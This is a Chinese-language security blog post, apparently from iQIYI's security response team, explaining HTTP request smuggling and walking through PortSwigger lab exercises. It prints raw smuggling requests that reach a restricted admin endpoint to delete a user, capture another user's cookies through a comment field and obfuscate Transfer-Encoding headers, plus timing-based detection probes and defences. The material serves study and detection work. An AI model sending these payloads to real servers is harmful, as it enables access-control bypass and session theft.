- 背景
- 时间线
- 漏洞成因
- 四种漏洞利用详情
-
Content-Length*Content-Length 类型
-
Content-Length*Transfer-Encoding类型
-
Transfer-Encoding*Content-Length类型
-
Transfer-Encoding*Transfer-Encoding类型
-
- 漏洞利用案例
-
利用Tran sfer-Encoding*Content-Length类型漏洞删除用户
-
利用C ontent-Length*Transfer-Encoding类型漏洞获取其他人的cookie
-
- 检测方法
-
Content-Length*Transfer-Encoding检测
-
Transfer-Encoding*Content-Length检测
-
- 其他
- 防护
- 参考
HTTP request smuggling
(HTTP请求走私)又上榜了。对于这个漏洞, 之前有所耳闻,了解过其原理,但是一直没有实操过。正好portswigger上有相应的案例,遂通过案例学习一下,看是否可以以此写一个插件补充内部扫描器。
blackhat的ppt中,对于时间线的描述已经很详细,这里仅使用其列出的时间线,不再重新查找资料
- 2005, "HTTP Request Smuggling" 论文发表
- 2005-2006 一些短的调查与分享, 列在参考3-5
- 2015-2016 DefCon 24上分享了 Hiding Wookiesin HTTP
- 2019 blackhat us 2019分享了 http-desync-attacks-request-smuggling-reborn
由于不同的中间件在HTTP协议解析过程中,对请求头顺序的优先级处理不同, 在混合使用多种请求头时,由解析的差异发起了恶意的http请求并获取了额外的信息或者未授权访问到内部服务, 故称HTTP请求走私。
在HTTP的协议中,有Keep-Alive
和Pipelining
两个特性。其中Keep-Alive
允许Web服务器保持TCP连接,在同一个套接字中,可以进行多次请求与响应。而 Pipelining
允许Web服务器以先进先出的方式异步处理请求,从而加快请求速度。
Content-Length
和Transfer-Encoding
。对于Web攻击来说,Transfer-Encdoing
更有用一些, 可用来绕过WAF等.Content-Type
和Transfer-Encoding
这两个请求字段时的顺序不同,导致了HTTP请求走私漏洞。Transfer-Encoding
的值为chunked
。Content-Length
*Content-Length
类型Content-Length
*Transfer-Encoding
类型Transfer-Encoding
*Content-Length
类型Transfer-Encoding
*Transfer-Encoding
类型
另外这里有点类似最近出现的shiro
权限绕过,因为Spring
和Tomcat
对于URL字符处理的不同,导致添加/;
或者其URL
编码可以绕过权限,未授权获取信息。
Content-Length*Content-Length 类型
3.If a Content-Length header field (section 14.13) is present, its decimal value in OCTETs represents both the entity-length and the transfer-length. The Content-Length header field MUST NOT be sent if these two lengths are different ,
遂不对此类型过多关注。
Content-Length*Transfer-Encoding 类型
Content-Length
与Transfer-Encoding
两个请求头, 且前一个中间件优先对Content-Length
进行处理, 而后边的中间件则对Transfer-Encoding
优先处理。在这种类型中, 使用BurpSuite
或者python requests
包测试时, 仅考虑payload如何构造即可, 因为默认会自动更新Content-Length
的值。以下面的请求为例: 因为前端中间件以Content-Length的长度来判断,整个请求内容又正好满足其长度,所以会将整个请求内容传送给后端服务器。后端服务器则以Transfer-Encoding
请求头优先解析内容, 而请求体中 0rnrn
表示块传输的结束, 在这种情况下, 后边的POST / HTTP/1.1
会作为另外一个请求,同时该请求Content-Length
大小置为100,服务器会等待再下一个请求,如GET /serect HTTP/1.1rnHost: xx
直至满足100为止,这时如果search
字段的值展示在页面中,就可以看到其特殊的请求头。
POST / HTTP/1.1
Host: ac021f331e59524480b9834700520027.web-security-academy.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 101
Origin: https://ac021f331e59524480b9834700520027.web-security-academy.net
Connection: close
Transfer-Encoding: chunked
Referer: https://ac021f331e59524480b9834700520027.web-security-academy.net/
Cookie: session=UjmkJb9uPlHCQtAAewGPnODIWrwcDj6F
Upgrade-Insecure-Requests: 1
0
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
search=
Transfer-Encoding*Content-Length 类型
同前一种类型一样, 均包含Content-Length
和Transfer-Encoding
两个请求头,不同的是,前端中间件优先处理Transfer-Encoding
而后面的服务器则优先处理Content-Length
。
Content-Length
设置成3或者4均可,即服务端会默认忽略n
字符, 且python中的urllib2,requests包均无法直接测试使用。urllib2会截断Content-Length
长度的数据,而requests会自动更新Content-Length
为匹配的长度。在BurpSuite
中测试时, 需要关闭Repeter
的 Update Content-Length
选项。对于块传输的内容,正常更新即可,其格式为:
chunk = chunk-size [ chunk-extension ] CRLF
chunk-data CRLF
chunk-size = 1*HEX
last-chunk = 1*("0") [ chunk-extension ] CRLF
rn
数据rn0rn
前端负载以块传输将数据传递到后端, 后端服务器以Content-Length
来提取数据。因为其长度为3,所以提取到的内容为81r
, 如果Content-Length
长度为4的话, 获取的内容为81rn
,两种均可成功利用。此时剩下一个请求GET /admin/delete?username=carlos HTTP/1.1
而此请求中的Content-Length
会被忽略, 导致删除了carlos用户。
POST / HTTP/1.1
Host: ac861f8b1fe701cf80921e5100a200ae.web-security-academy.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://portswigger.net/web-security/request-smuggling/finding/lab-confirming-cl-te-via-differential-responses
Cookie: session=kK8Bf7ImhHhKwvhMwBmiAjuY8JKv2JS2
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
Transfer-Encoding: chunked
81
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Via: 127.0.0.1
X-Forwarded-For:127.0.0.1
Content-Length: 100
x=
0
Transfer-Encoding*Transfer-Encoding类型
同第一种漏洞类型类似,区别只是在同一个请求中,使用了两个Transfer-Encoding
,不同于Content-Length
,未找到关于两个Transfer-Encoding
的限制(如有辛苦告知). 所以可以利用混淆来绕过. 如使用Transfer-Encoding: xchunked
或者Transfer-Encoding:[tab]chunked
等。在案例中, 其解法如下, 通过添加不同的Transfer-Encoding
的格式,混乱前端负载对Transfer-Encoding
的判断, 即: 其实质上仍然是前两种类型的漏洞。
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
portswigger
漏洞验证环境的解析 分别为CL * TE
类型和TE × CL
类型, 当时除此之外,portswigger
提供了共12
个环境,包含了验证环境,XSS漏洞、缓存、未授权利用等不同场景。感兴趣的同学可以注册帐号验证
环 境: https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl
描 述: 该应用有一个/admin
页面,但是由于前面负载的限制,没办法访问到. 试图利用请求走私删除carlos
用户
首先提示已经是TE × CL
类型, 构造一个走私请求,获取/admin页面,提示只有本地才可以访问
由于存在多个指定本地请求的请求头,但对控制请求的请求头未知,因此需要添加多个header获取
删除对应的用户
2. 利用Content-Length*Transfer-Encoding类型漏洞获取其他人的cookie
环 境:https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests
描 述: 通过请求走私,获取他人的cookie
前边解释CL-TE
类型的时候, 举过一个serarch
的例子, 也是本次练习的题之一。既然可以通过search
字段回显,那么当然也可以通过插入数据到数据库操作,把其他人的请求作为值插入数据库中。
在回帖的地方,使用请求走私,这里的Content-Length
是用来获取其他的请求头部的长度。由于如果过长,在等待中会超时,如果过短,无法完全获取其cookie
,在多次测试后发现808
是可以的。
在postId为10的评论内容中,可发现受害者的请求包拼接到了comment参数中
配置cookie解题成功
1. Content-Length * Transfer-Encoding检测
对于前端解析来说, 1rnArnXrn
中1rnArn
满足长度为4, 并将其作为请求体传给后端。而后端优先以Transfer-Encoding
请求头解析,1rnArn
并不满足chunked
结束的条件, 所以会一直等待直到超时为止。
发送如下请求,可以检测该类型的漏洞。
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4
1
A
X
2. Transfer-Encoding*Content-Length检测
对于前端解析来说, 0rnrnX
中0rnrn
满足长度为chunked
结束的标志, 并将其作为请求体传给后端。而后端优先以Content-Length
请求头解析,0rnrn
并不满足长度为6的条件, 所以会一直等待后续的请求直到超时为止。
发送如下请求, 可以检测该类型的漏洞。
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6
0
X
像前边描述,对于有回显的参数或者插入数据库的操作,可以将插入字段作为一个最后的值,加大Content-Length
以获取下一次请求用户的请求头等参数
-
使用HTTP/2协议
-
尽量前后端使用同一类型的负载或者Web服务器 - 禁用后端连接的重用
- BLACKHAT 2020: https://www.blackhat.com/us-20/briefings/schedule/#http-request-smuggling-in---new-variants-new-defenses-and-new-challenges-20019
- portswigger:https://portswigger.net/web-security/request-smuggling/
- Can HTTP Request Smuggling be blocked by Web Application Firewalls?
- Technical Note: Detecting and Preventing HTTP Response Splitting and HTTP Request Smuggling Attacks at the TCP Level
- [WEB SECURITY] Whitepaper by Amit Klein: "HTTP Response Smuggling"
-
demystifying-http-request-smuggling
原文始发于微信公众号(爱奇艺安全应急响应中心):【超干货】HTTP请求走私漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论